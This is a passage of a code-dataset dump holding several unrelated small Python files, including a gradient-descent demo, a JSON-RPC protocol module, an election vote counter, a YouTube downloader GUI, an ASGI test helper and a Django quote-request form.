range(len(cnf.prob_name)): # 関数の個数だけ探索\n\t\tlog = lg.Logger(cnf, cnf.prob_name[i]) # loggerインスタンス生成\n\t\tfnc = fc.Function(cnf.prob_name[i], cnf.prob_dim) # 探索する関数のインスタンス生成\n\t\tfor j in range(cnf.max_trial): # 試行回数まで実行\n\t\t\tfnc.resetTotalEvals() # 総評価回数(functionクラス内変数)リセット\n\t\t\tcnf.setRandomSeed(seed = j + 1) # ランダムシード値設定\n\t\t\topt = op.DifferentialEvolution(cnf, fnc) # optimizerインスタンス生成\n\t\t\trun(opt, cnf, fnc, log) # 探索実行\n\t\tsts = lg.Statistics(cnf, fnc, log.path_out, log.path_trial) # 関数ごとの統計を作成\n\t\tsts.outStatistics() # 統計出力(all_trials.csv, statistics.csv)\n\nif __name__ == '__main__':\n\tmain()","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"348846221","text":"# -*- coding: utf-8 -*-\n# @Author: Puffrora\n# @Date: 2019-09-27 23:11:58\n# @Last Modified by: Puffrora\n# @Last Modified time: 2019-09-27 23:28:55\n\n\nclass Solution:\n\tdef readBinaryWatch(self, num):\n\n\t\tdef count1(n):\n\t\t\tres = 0\n\t\t\twhile n != 0:\n\t\t\t\tn &= n - 1\n\t\t\t\tres += 1\n\t\t\treturn res\n\n\t\tres = []\n\n\t\tfor i in range(0, 12):\n\t\t\tfor j in range(0, 60):\n\t\t\t\tif count1(i) + count1(j) == num:\n\t\t\t\t\tres.append(str(i) + ':' + str(j) if j >= 10 else str(i) + ':' + '0' + str(j))\n\n\t\treturn res\n\n\t\t","sub_path":"Leetcode/leetcode401 二进制手表.py","file_name":"leetcode401 二进制手表.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"65710590","text":"import uuid\nimport json #, msgpack, snappy\n\nclass _Request_jsonrpc_v20: # (Event):\n \"\"\" A rpc call is represented by sending a Request object to a Server.\n \"\"\"\n \n JSON_RPC_VERSION = '2.0'\n JSON_RPC_DUMMY_ID = object()\n\n def __init__ (self, clientSession, payloadData):\n \n # Identity of the client session\n self.session = clientSession\n\n # NB: notification is not support by now \n if \"id\" not in payloadData:\n payloadData['id'] = uuid.uuid4().__str__() #.bytes\n\n # Original message data from rpc call\n self.data = payloadData\n\n # Enforce to specify the version of the JSON-RPC protocol.\n if \"jsonrpc\" not in payloadData:\n self.data[\"jsonrpc\"] = _Request_jsonrpc_v20.JSON_RPC_VERSION\n\n # A String containing the name of the method to be invoked. \n # Method names that begin with the word rpc followed by a period character (U+002E or ASCII 46) \n # are reserved for rpc-internal methods and extensions and MUST NOT be used for anything else. \n self.method = payloadData.get ('method')\n \n # A Structured value that holds the parameter values to be used during the invocation\n # of the method. This member MAY be omitted.\n self.params = payloadData.get ('params')\n\n # The Identifier that established by the Client that MUST contain a `String`, `Number`, or `NULL` \n # if included. If it is not included it is assumed to be a notification. The value SHOULD normally\n # not be Null [1] and Numbers SHOULD NOT contain fractional parts [2].\n #\n # [1] The use of Null as a value for the id member in a Request object \n # is discouraged, because this specification uses a value of Null for Responses \n # with an unknown id. Also, because JSON-RPC 1.0 uses an id value of Null\n # for Notifications this could cause confusion in handling.\n #\n # [2] Fractional parts may be problematic, since many decimal fractions\n # cannot be represented exactly as binary fractions.\n self.identity = payloadData.get ('id')\n\n\nclass _Response_jsonrpc_v20:\n \"\"\" When a rpc call is made, the Server MUST reply with a Response, except that \n in the case of Notifications. The Response is expressed as a single JSON Object.\n \"\"\"\n\n JSON_RPC_VERSION = '2.0'\n JSON_RPC_NO_ERROR = [0, '']\n \n def __init__(self, sessionRequest, resultData, errorData):\n \n # Client session of rpc call.\n self.session = sessionRequest.session\n\n # Message data payload of reply of a rpc call.\n self.data = dict()\n\n # A String specifying the version of the JSON-RPC protocol. MUST be exactly \"2.0\".\n self.data['jsonrpc'] = _Response_jsonrpc_v20.JSON_RPC_VERSION\n\n # `id` is REQUIRED. It MUST be the same as the value of the id member \n # in the Request Object. If there was an error in detecting the id in \n # the Request object (e.g. Parse error/Invalid Request), it MUST be Null.\n self.data['id'] = sessionRequest.identity\n\n # Either the result member or error member MUST be included, but both \n # members MUST NOT be included.\n #\n if resultData is not None:\n # The `result` field is REQUIRED on success. It MUST NOT exist \n # if there was an error invoking the method. The value of this \n # field is determined by the method invoked on the Server.\n self.data['result'] = resultData\n if errorData:\n # The `error` field is REQUIRED on error. It MUST NOT exist if \n # there was no error triggered during invocation. The value for \n # this field MUST be an Object.\n # NB: JAQS, this field maybe exist on success, with empty payload,\n # that is NOT consist with JSON-RPC specification.\n self.data['error'] = { \n \"code\" : errorData[0], \n 'message' : errorData[1] \n }\n\nclass _Respond_jsonrpc_v20:\n\n def __init__( self, clientSession, returnData):\n # @copydoc: _Response_jsonrpc_v20.client\n self.session = clientSession\n # @copydoc: _Response_jsonrpc_v20.data\n self.data = returnData\n # @copydoc: _Response_jsonrpc_v20.data[\"id\"]\n self.identity = returnData.get(\"id\")\n # @copydoc: _Response_jsonrpc_v20.data[\"result\"]\n self.result = returnData.get(\"result\")\n # @copydoc: _Response_jsonrpc_v20.data[\"error\"]\n self.error = returnData.get(\"error\")\n","sub_path":"rqalpha/mod/rqalpha_mod_sys_stock_realtime/jsonrpc/jsonrpc_protocol.py","file_name":"jsonrpc_protocol.py","file_ext":"py","file_size_in_byte":4612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"551791350","text":"import json\nimport os\n\nimport downloader\n\n\ndef return_local_db():\n os.chdir(os.environ['HOMEPATH'])\n os.chdir('./desktop')\n\n local_dic = dict()\n with open('db_template.json', 'r', encoding='UTF-8') as f:\n temp = json.loads(f.read())\n local_dic.update(temp)\n return local_dic\n\ndef return_compare_dic():\n local_db = return_local_db()\n data = downloader.update() #최신 DB를 받아옴.\n added_dic = dict()\n \n for x in local_db: #추가된 것만 골라서 받아옴\n if x in data:\n continue\n \n else:\n added_dic[x] = local_db[x]\n return added_dic\n\n\nif __name__ == '__main__':\n return_compare_dic()\n","sub_path":"Old/localdb.py","file_name":"localdb.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"502004433","text":"import os\nimport csv\n\nfile = os.path.join(\"Resources\",\"election_data.csv\")\n\ntotal_votes = 0\n\n#setting candidate and number of volutes as key and values in dictionary\nvote_counter = {}\n\n#reading csv file\nwith open(file) as data:\n csvreader = csv.reader(data,delimiter = \",\")\n header = next(csvreader)\n # Loop through all candidate names and add a new name each time one appears\n for row in csvreader:\n candidate = row[2]\n if candidate in vote_counter.keys():\n vote_counter[candidate] += 1\n else:\n vote_counter[candidate] = 1\n \n total_votes += 1\n\n#print(vote_counter) \nwinner = max(vote_counter, key = vote_counter.get)\n\nResults = f\"\"\"\nElection Reults\n-------------------------\nTotal Votes: {total_votes}\n-------------------------\"\"\"\n\nfor k, v in vote_counter.items():\n percentage = v / total_votes\n Results += k + ': ' + '{:.3%}'.format(percentage) + ', (' + str(v) +')\\n'\n\nResults += f\"\"\"-------------------------\nWinner: {winner}\n-------------------------\"\"\"\nprint(Results)\n\noutput_file = \"output_file.txt\"\nwith open(output_file, \"w\") as doc:\n doc.write(Results)\n","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"455766028","text":"\"\"\" Grid size test\n\n.. note:: An example config would be::\n\n name:\n example\n\n Tests::\n\n tests:\n 1:\n signals:\n data/klz/v1.0.0/Xe136_0n2b_n1_fig2.hdf5:\n fit_config:\n \"{spectral_fit_parameters: {rate: {logscale: false,\n logscale_deviation: True, high: 136.201323346,\n prior: 45.40044111532344, low: 0.0, sigma: None\n bins: 501}}}\"\n backgrounds:\n data/klz/v1.0.0/Xe136_2n2b_fig2.hdf5:\n fit_config:\n \"{spectral_fit_parameters: {rate: {\n logscale_deviation: False,\n high: 59328.506876615706, prior: 51322.23778253954\n low: 43315.96868846337, sigma: None, bins: 501}}}\"\n\n Followed by other tests with config altered. E.g. same signal\n config but background config has a smaller range::\n\n 2:\n signals:\n data/klz/v1.0.0/Xe136_0n2b_n1_fig2.hdf5:\n fit_config:\n \"{spectral_fit_parameters: {rate: {logscale: false,\n logscale_deviation: True, high: 136.201323346,\n prior: 45.40044111532344, low: 0.0, sigma: None\n bins: 501}}}\"\n backgrounds:\n data/klz/v1.0.0/Xe136_2n2b_fig2.hdf5:\n fit_config:\n \"{spectral_fit_parameters: {rate: {\n logscale_deviation: False,\n **high: 53990.9941472**, prior: 51322.23778253954,\n **low: 48653.48141787908**, sigma: None,\n bins: 501}}}\"\n\n\nCreated on Wed Mar 9 14:03:00 2016\n\n@author: ashley\n\"\"\"\nimport echidna.utilities as utilities\nimport echidna.output.store as store\nfrom echidna_analysis.ops.update_spectrum import update_spectrum\nimport echidna.scripts.klz_majoron_limits as klz_majoron_limits\n\nimport yaml\n\n\ndef main(args):\n \"\"\" Main script\n \"\"\"\n logger = utilities.start_logging(short_name=True)\n\n # Load tests from file\n if args.update_from is not None:\n with open(args.update_from, \"r\") as stream:\n logger.info(\"Loading tests from %s\" % args.update_from)\n update_from = yaml.load(stream)\n else:\n logger.warning(\"No option update_from, no tests have been loaded\")\n update_from = {}\n\n name = update_from[\"name\"]\n\n # Loop through tests\n tests = update_from[\"tests\"]\n logger.info(\"Loaded %d tests\" % len(tests))\n for test, test_dict in tests.iteritems():\n logger.info(\"Setting up test %d\" % test)\n\n # loop through signals\n signals = []\n for signal_file, signal_dict in test_dict[\"signals\"].iteritems():\n # Load spectrum\n signal = store.load(signal_file)\n\n # Update spectrum\n update_spectrum(signal, **signal_dict)\n signals.append(signal)\n\n # loop through backgrounds\n floating_backgrounds = []\n for background_file, background_dict in\\\n test_dict[\"backgrounds\"].iteritems():\n # load background\n background = store.load(background_file)\n\n # Update spectrum\n update_spectrum(background, **background_dict)\n floating_backgrounds.append(background)\n\n # Run limit script for test\n klz_majoron_limits.main(args, name=name, signals=signals,\n floating_backgrounds=floating_backgrounds)\n\n\nif __name__ == \"__main__\":\n from echidna.scripts.klz_majoron_limits import ReadableDir\n import echidna.output as output\n\n import argparse\n\n parser = argparse.ArgumentParser(\n description=\"KamLAND-Zen (plot-grab) Majoron limits script\")\n parser.add_argument(\"--from_file\", action=ReadableDir,\n help=\"Path to config file containing arg values\")\n parser.add_argument(\"--update_from\", action=ReadableDir,\n help=\"Path to config for updating spectra\")\n parser.add_argument(\"-s\", \"--save_path\", action=ReadableDir,\n help=\"Path to save all ouput files to. \"\n \"Overrides default from output module.\")\n parser.add_argument(\"--floating\", nargs=\"*\", help=\"Parse floating \"\n \"background spectra directly\")\n parser.add_argument(\"--signals\", nargs=\"*\", help=\"Parse signal spectra \"\n \"directly\")\n parser.add_argument(\"--sensitivity\", action=\"store_true\",\n help=\"Use expected background as data. Note a blank \"\n \"'data' spectrum must still be supplied, which will \"\n \"then be filled with the appropriate expected \"\n \"background spectrum.\")\n group = parser.add_mutually_exclusive_group()\n group.add_argument(\"--lower_bound\", action=\"store_true\",\n help=\"Estimate lower bound on limit \"\n \"due to plot-grab errors\")\n group.add_argument(\"--upper_bound\", action=\"store_true\",\n help=\"Estimate upper bound on limit \"\n \"due plot-grab errors\")\n args = parser.parse_args()\n\n if args.save_path is not None:\n output.__default_save_path__ = args.save_path\n\n main(args)\n","sub_path":"jobs/grid_size_test.py","file_name":"grid_size_test.py","file_ext":"py","file_size_in_byte":5573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"67452383","text":"import tkinter as tk\nfrom pytube import YouTube\n\ndef clickUrl():\n labelMsg.config(text=\"\")\n if(url.get()==\"\"):\n labelMsg.config(text=\"請輸入網址\")\n else:\n try:\n yt=YouTube()\n yt.url=url.get()\n video=yt.get(\"mp4\",\"360p\")\n video.download('.')\n labelMsg.config(text=\"下載完成\")\n except:\n labelMsg.config(text=\"出現了一些錯誤\")\n\nwin = tk.Tk()\nwin.geometry(\"450x320\")\nwin.title('下載Youtube影片')\nurl = tk.StringVar()\nframe1= tk.Frame(win,width=450)\nframe1.pack()\nlabel1=tk.Label(frame1,text=\"Youtube 網址:\")\nentryUrl = tk.Entry(frame1,textvariable=url)\nentryUrl.config(width=40)\nbtnUrl=tk.Button(frame1,text=\"確定下載\",command=clickUrl)\nlabel1.grid(row=0,column=0,sticky=\"e\")\nentryUrl.grid(row=0,column=1)\nbtnUrl.grid(row=0,column=2)\nlabelMsg =tk.Label(win,text=\"\",fg=\"red\")\nlabelMsg.pack()\n\nwin.mainloop()\n\n","sub_path":"6.youtube/youtube_tinker.py","file_name":"youtube_tinker.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"15568401","text":"import numpy as np\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn import linear_model\r\n\r\ndef cost(x):\r\n\tm = A.shape[0]\r\n\treturn 0.5/m * np.linalg.norm(A.dot(x)-b,2)**2\r\ndef grad(x):\r\n\tm = A.shape[0]\r\n\treturn 1/m * A.T.dot(A.dot(x)-b)\r\ndef check_grad(x):\r\n\teps = 1e-4 \r\n\tg = np.zeros_like(x)\r\n\tfor i in range(len(x)):\r\n\t\tX1 = x.copy()\r\n\t\tx2 = x.copy()\r\n\t\tx1[i] +=eps\r\n\t\tx2[i] -=eps\r\n\t\tg[i] = (cost(x1) - cost(x2))/(2*eps)\r\n\r\n\tg_grad = grad(x)\r\n\tif np.linalg.norm(g-g_grad) > 1e-5:\r\n\t\tprint(\"WARNING: CHECK GRADIENT FUNCTION! \")\r\n\r\n \t\r\ndef gradient_descent(x_init,learning_rate,iteration):\r\n\tx_list = [x_init]\r\n\tm = A.shape[0]\r\n\tfor i in range(iteration):\r\n\t\tx_new = x_list[-1] - learning_rate*grad(x_list[-1])\r\n\t\tif np.linalg.norm(grad(x_new))/len(x_new) < 0.5:\r\n\t\t\tbreak\r\n\t\tx_list.append(x_new) \r\n\r\n\treturn x_list\r\n\r\n\r\n\r\n# Random data\r\nA = np.array([[2,5,7,9,11,16,19,23,22,29,29,35,37,40,46]]).T\r\nb = np.array([[2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]]).T\r\n\r\n# Create model\r\nfig1 = plt.figure(\"GD for LinearRegression\")\r\nax = plt.axes(xlim=(-10,60),ylim=(-1,20))\r\n\r\nplt.plot(A,b,'ro')\r\nlr = linear_model.LinearRegression()\r\nlr.fit(A,b)\r\nx0_gd = np.linspace(1,46,2)\r\ny0_sklearn = lr.intercept_[0] + lr.coef_[0][0]*x0_gd\r\nplt.plot(x0_gd,y0_sklearn,color=\"green\")\r\n\r\nones = np.ones((A.shape[0],1),dtype=np.int8)\r\nA = np.concatenate((ones,A),axis=1)\r\n# Random initial line\r\nx_init = np.array([[1.],[2.]])\r\ny0_init = x_init[0][0] + x_init[1][0]*x0_gd\r\nplt.plot(x0_gd,y0_init,color=\"black\")\r\n\r\niteration = 60\r\nlearning_rate = 0.0001\r\nx_list = gradient_descent(x_init,learning_rate,iteration)\r\nfor i in range(len(x_list)):\r\n\ty0_x_list = x_list[i][0] + x_list[i][1]*x0_gd\r\n\tplt.plot(x0_gd,y0_x_list,color=\"black\")\r\nplt.show()\r\ncost_list = []\r\niter_list = []\r\nfor i in range(len(x_list)):\r\n\titer_list.append(i)\r\n\tcost_list.append(cost(x_list[i]))\r\nplt.plot(iter_list,cost_list)\r\nplt.xlabel('Iteration')\r\nplt.ylabel('Cost value')\r\nplt.show()","sub_path":"AI/LinearRegression.py","file_name":"LinearRegression.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"511186840","text":"#10/15/14\r\n#This program will ask the user to enter a series of postivie numbers.\r\n#Then the program will ask for a negative number to end the series.\r\n#The program will add all of the positive numbers and display the sum\r\n\r\n#x is the user input number\r\n\r\nsum=0\r\nprint(\"Please enter a negative number when you wish to stop entering numbers.\")\r\nx=int(input(\"Please enter your number: \"))\r\nwhile x>=0:\r\n sum=sum+x\r\n x=int(input(\"Please enter your number: \"))\r\n \r\nprint(\"The sum of your numbers is: \",sum)\r\n \r\n","sub_path":"Week 7 Py Labs/postivie series adder.py","file_name":"postivie series adder.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"627622555","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 14 12:38:31 2016\n\n@author: rex\n\"\"\"\nimport pandas as pd\nfrom Lib.Option import *\nimport matplotlib.pyplot as plt\nfrom os import getcwd\nfrom math import exp\n\n\ndef hedge_criteria(Yt_1, delta_t, lower_gamma, e, upper_gamma, St, r, T, t):\n\t'''return how much to buy/sell or to do nothing. \n\tWhich is worthy of noticing is that the upper_gamma is a\n\tquantity-weighted gamma of a portfolio'''\n\tBt = ((3 * e * St * exp(-r*(T-t)) * upper_gamma**2) \\\n\t\t / (2*lower_gamma))**(1/3)\n\tlower = delta_t - Bt\n\tupper = delta_t + Bt\n\tif lower <= Yt_1 <= upper: return (0, upper, lower)\n\telif Yt_1 > upper: return (upper - Yt_1, upper, lower)\n\telse: return (lower - Yt_1, upper, lower)\n\ndate_lst = pd.read_csv(getcwd()+\"/Lib/Data/a\", encoding=\"gbk\").loc[1808:1964, \"日期\"].values.tolist()\nprice_lst = pd.read_csv(getcwd()+\"/Lib/Data/a\", encoding=\"gbk\").loc[1808:1964, \"收盘价\"].values.tolist()\n\noption = EuropeanOptionPut(K=4800, T=(1964 - 1808) / 252, r=0.05, q=0.01, target=\"\")\n_sigmma = 20\nposition = 0\n\ncost_lst = []\nbuy_or_sell_lst = []\nrange_upper_lst = []\nrange_lower_lst = []\ndelta_lst = []\ndelta_before_lst = []\n_t = 0\n\nfor i in price_lst: \n option.update_info(t=_t, St=i, sigmma=_sigmma)\n delta = option.get_delta() * 1e4 + position * 1\n delta_before_lst.append(delta)\n gamma = option.get_gamma() * 1e4 \n \n change, upper, lower = hedge_criteria(Yt_1=position, delta_t=delta,\n lower_gamma=1, e=0.15, \n upper_gamma=gamma, St=i, r=0.05, \n T=(1964 - 1808) / 252, t=_t)\n change = round(change)\n position += change\n \n delta_lst.append(position * 1 + option.get_delta() * 1e4) \n cost_lst.append(change * i * 1.15)\n buy_or_sell_lst.append(change)\n range_upper_lst.append(upper)\n range_lower_lst.append(lower)\n _t += 1 / 252\n \n\n#plt.plot(price_lst)\n#plt.plot(cost_lst)\n#plt.plot(buy_or_sell_lst)\n#plt.plot(range_upper_lst)\n#plt.plot(range_lower_lst)\nplt.plot(delta_lst)\n#plt.plot(delta_before_lst)\n\nplt.show()\n\n","sub_path":"easy.py","file_name":"easy.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"392969298","text":"from typing import List, Optional\n\n\ndef get_example_scope(\n method: str,\n path: str,\n extra_headers=None,\n query: Optional[bytes] = b\"\",\n scheme: str = \"http\",\n server: Optional[List] = None,\n):\n \"\"\"Returns mocked ASGI scope\"\"\"\n\n if \"?\" in path:\n raise ValueError(\"The path in ASGI messages does not contain query string\")\n if query.startswith(b\"\"):\n query = query.lstrip(b\"\")\n if server is None:\n server = [\"127.0.0.1\", 8000]\n return {\n \"type\": scheme,\n \"http_version\": \"1.1\",\n \"server\": server,\n \"client\": [\"127.0.0.1\", 51492],\n \"scheme\": scheme,\n \"method\": method,\n \"root_path\": \"\",\n \"path\": path,\n \"raw_path\": path.encode(),\n \"query_string\": query,\n \"headers\": [\n (b\"host\", b\"127.0.0.1:8000\"),\n (\n b\"user-agent\",\n (\n b\"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; \"\n b\"rv:63.0) Gecko/20100101 Firefox/63.0\"\n ),\n ),\n (\n b\"accept\",\n (\n b\"text/html,application/xhtml+xml,\"\n b\"application/xml;q=0.9,*/*;q=0.8\"\n ),\n ),\n (b\"accept-language\", b\"en-US,en;q=0.9,it-IT;q=0.8,it;q=0.7\"),\n (b\"accept-encoding\", b\"gzip, deflate\"),\n (b\"connection\", b\"keep-alive\"),\n (b\"upgrade-insecure-requests\", b\"1\"),\n ]\n + ([tuple(header) for header in extra_headers] if extra_headers else []),\n }\n","sub_path":"blacksheep/testing/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"620174722","text":"__author__ = 'Marth'\n\nimport csv\n# from pprint import pprint\n\npokemoves = set()\nmovemethods = {}\n\nwith open('dex/pokemon_move_method_prose.csv', 'r') as csvfile:\n movereader = csv.reader(csvfile)\n movereader.next()\n\n for row in movereader:\n if row[1] == '9':\n movemethods[int(row[0])] = row[2]\n\nwith open('dex/pokemon_moves.csv', 'r') as csvfile:\n movereader = csv.reader(csvfile)\n movereader.next()\n\n for row in movereader:\n if row[1] == '15':\n temp = (int(row[0]), int(row[2]), int(row[3]))\n pokemoves.add(temp)\n\n# pprint(pokemoves)\n\n# write everything to file\nwith open('out/poke_moves.csv', 'w') as csvfile:\n header = 'poke_id,move_id,move_method_id\\n'\n csvfile.write(header)\n for move in pokemoves:\n csvfile.write(','.join(map(str, move)) + '\\n')\n\nwith open('out/poke_move_methods.csv', 'w') as csvfile:\n header = 'move_method_id,move_method_text\\n'\n csvfile.write(header)\n for move in movemethods:\n csvfile.write(str(move) + ',' + movemethods[move] + '\\n')","sub_path":"GenPokeMoves.py","file_name":"GenPokeMoves.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"170219673","text":"class Player:\n\n def __init__(self,ArmorVal,level,dam,swrd):\n self.name = \"Max\"\n self.hp = 20 + (2 * (level / 1.5) + ArmorVal)\n self.dmg = dam + (1 + (level + swrd))\n self.inventory = [\"Fists\",\"Legs\",\"Ripped Clothing\",\"Glass Vial\"]\n\n def display(self):\n self.hp = round(self.hp)\n print(\"Name: \" + str(self.name))\n print(\"HP: \" + str(self.hp))\n print(\"Inventory:\")\n print('\\n'.join(self.inventory))\n\n def addItem(self,x):\n if x in room:\n self.inventory.append(x)\n room.remove(x)\n else:\n print(\"No item exists in room!\")\n\n def removeItem(self,x):\n if x in room:\n self.inventory.remove(x)\n room.append(x)\n else:\n print(\"No item exists in inventory!\")\n\n","sub_path":"Player.py","file_name":"Player.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"487435061","text":"from django import forms\n\nfrom django.core.exceptions import ValidationError\nfrom django.utils.safestring import mark_safe\nfrom django.utils.translation import ugettext as _\nfrom phonenumber_field.formfields import PhoneNumberField\n\nfrom country.models import Country\n\nFUNDING_TYPE_CHOICES = [\n ('', '---'),\n ('BBSRC funded', 'BBSRC funded'),\n ('Non-commercial', 'Other non-commercial (Academic/Charity)'),\n ('Industry', 'Industry'),\n ('Internal UoB', 'Internal, University of Birmingham')\n]\n\nREFERRAL_TYPE_CHOICES = [\n ('', '---'),\n ('SGM 2016', 'SGM Conference 2016'),\n ('Internal UoB', 'Internal UoB'),\n ('Word of mouth', 'Word of mouth'),\n ('Google', 'Google'),\n ('Twitter', 'Twitter'),\n ('Publication', 'Publication'),\n ('Other conference', 'Other conference')\n]\n\nBATCH_TYPE_CHOICES = [\n ('all together', 'Sending all samples together'),\n ('batches', 'Sending in multiple batches')\n]\n\nNAME_TITLE_CHOICES = [\n ('', ''),\n ('Dr', 'Dr'),\n ('Prof', 'Prof'),\n ('Mr', 'Mr'),\n ('Miss', 'Miss'),\n ('Ms', 'Ms'),\n ('Mrs', 'Mrs'),\n ('Mx', 'Mx'),\n ('Sir', 'Sir'),\n ('Lord', 'Lord')\n]\n\n\nclass QuoteRequestForm(forms.Form):\n name_title = forms.ChoiceField(\n choices=NAME_TITLE_CHOICES,\n label=_(\"Title\"),\n required=False)\n name_first = forms.CharField(max_length=50, label=_(\"First name\"))\n name_last = forms.CharField(max_length=50, label=_(\"Last name\"))\n email = forms.EmailField(label=_(\"Email address\"))\n phone = PhoneNumberField(\n label=_(\"Phone number\"),\n help_text=_(\"International customers: please enter a country code \"\n \"e.g. +1-541-754-3010 for a US number.\"))\n primary_contact_is_pi = forms.BooleanField(\n label=\"Same as primary contact\",\n required=False)\n pi_name_title = forms.ChoiceField(\n choices=NAME_TITLE_CHOICES,\n label=_(\"Title\"),\n required=False)\n pi_name_first = forms.CharField(\n label=_(\"First name\"),\n max_length=50,\n required=False)\n pi_name_last = forms.CharField(\n label=_(\"Last name\"),\n max_length=50,\n required=False)\n pi_email = forms.EmailField(label=_(\"Email address\"), required=False)\n organisation = forms.CharField(\n max_length=50,\n label=_(\"Institution / Company\"))\n department = forms.CharField(max_length=50, required=False)\n street_line_1 = forms.CharField(\n max_length=50,\n label=_(\"Address lines\"),\n widget=forms.TextInput(\n attrs={'placeholder': \"e.g. Room W126, Biosciences building.\"}))\n street_line_2 = forms.CharField(\n max_length=50,\n label=_(\"Address line 2\"),\n required=False)\n street_line_3 = forms.CharField(\n max_length=50,\n label=_(\"Address line 3\"),\n required=False)\n city = forms.CharField(max_length=50)\n region = forms.CharField(\n max_length=50,\n label=_(\"Region / State\"),\n required=False)\n postcode = forms.CharField(\n max_length=10,\n label=_(\"Postcode / Zip\"),\n required=False)\n country = forms.ModelChoiceField(\n queryset=Country.objects.all(),\n to_field_name='name',\n widget=forms.TextInput(),\n error_messages={\n 'required': \"Sample collection country is required.\",\n 'invalid_choice': \"Please select a valid country from the list.\"\n })\n funding_type = forms.ChoiceField(choices=FUNDING_TYPE_CHOICES)\n bbsrc_code = forms.CharField(required=False, label=_(\"BBSRC grant code\"))\n is_confidential = forms.BooleanField(required=False)\n num_dna_samples = forms.IntegerField(\n min_value=0,\n initial=0,\n required=False,\n label=_(\"No. of DNA samples\"))\n num_strain_samples = forms.IntegerField(\n min_value=0,\n initial=0,\n required=False,\n label=_(\"No. of strain samples\"))\n num_enhanced_strain_samples = forms.IntegerField(\n min_value=0,\n initial=0,\n required=False,\n label=_(\"No. strains for enhanced sequencing\"))\n confirm_strain_bsl2 = forms.BooleanField(\n required=False,\n label=_(mark_safe(\"Confirm that your strains comply with the strain submission criteria\")))\n confirm_enhanced_strain_bsl2 = forms.BooleanField(\n required=False,\n label=_(mark_safe(\"Confirm that your enhanced strains comply with the strain submission criteria\")))\n batch_type = forms.ChoiceField(\n choices=BATCH_TYPE_CHOICES,\n initial='all together')\n referral_type = forms.ChoiceField(\n choices=REFERRAL_TYPE_CHOICES,\n label=_(\"Where did you hear about us?\"))\n comments = forms.CharField(required=False, widget=forms.Textarea())\n\n def clean(self):\n cleaned_data = super(QuoteRequestForm, self).clean()\n non_field_errors = []\n\n funding_type = cleaned_data.get('funding_type')\n bbsrc_code = cleaned_data.get('bbsrc_code')\n num_dna_samples = cleaned_data.get('num_dna_samples')\n num_strain_samples = cleaned_data.get('num_strain_samples')\n num_enhanced_strain_samples = cleaned_data.get(\"num_enhanced_strain_samples\")\n confirm_strain_bsl2 = cleaned_data.get('confirm_strain_bsl2')\n confirm_enhanced_strain_bsl2 = cleaned_data.get('confirm_enhanced_strain_bsl2')\n primary_contact_is_pi = cleaned_data.get('primary_contact_is_pi')\n pi_name_title = cleaned_data.get('pi_name_title')\n pi_name_first = cleaned_data.get('pi_name_first')\n pi_name_last = cleaned_data.get('pi_name_last')\n pi_email = cleaned_data.get('pi_email')\n comments = cleaned_data.get('comments')\n\n if num_strain_samples is None:\n num_strain_samples = 0\n if num_dna_samples is None:\n num_dna_samples = 0\n if num_enhanced_strain_samples is None:\n num_enhanced_strain_samples = 0\n\n if primary_contact_is_pi:\n cleaned_data['pi_name_title'] = ''\n cleaned_data['pi_name_first'] = ''\n cleaned_data['pi_name_last'] = ''\n cleaned_data['pi_email'] = ''\n else:\n if not pi_name_first:\n self.add_error(\n 'pi_name_first',\n ValidationError(_(\"Principal investigator first name is required.\"),\n code='required'))\n if not pi_name_last:\n self.add_error(\n 'pi_name_last',\n ValidationError(_(\"Principal investigator last name is required.\"),\n code='required'))\n if not pi_email:\n self.add_error(\n 'pi_email',\n ValidationError(_(\"Principal investigator email is required.\"),\n code='required'))\n\n if (funding_type == 'BBSRC funded' and not bbsrc_code):\n bbsrc_error = ValidationError(_(\"BBSRC code is required.\"))\n self.add_error('bbsrc_code', bbsrc_error)\n non_field_errors.append(bbsrc_error)\n\n if (num_strain_samples > 0 and not confirm_strain_bsl2):\n bsl2_error = ValidationError(\n _(\"You must confirm that your strains comply with the strain submission criteria.\"))\n self.add_error('confirm_strain_bsl2', bsl2_error)\n non_field_errors.append(bsl2_error)\n\n if (num_enhanced_strain_samples > 0 and not confirm_enhanced_strain_bsl2):\n enhanced_bsl2_error = ValidationError(\n _(\"You must confirm that your enhanced strains comply with the strain submission criteria.\"))\n self.add_error('confirm_enhanced_strain_bsl2', enhanced_bsl2_error)\n non_field_errors.append(enhanced_bsl2_error)\n\n if not (num_strain_samples or num_dna_samples or num_enhanced_strain_samples):\n non_field_errors.append(\n ValidationError(\n _(\"A total sample quantity of at least one (strain or DNA)\"\n \" is required.\"))\n )\n\n if 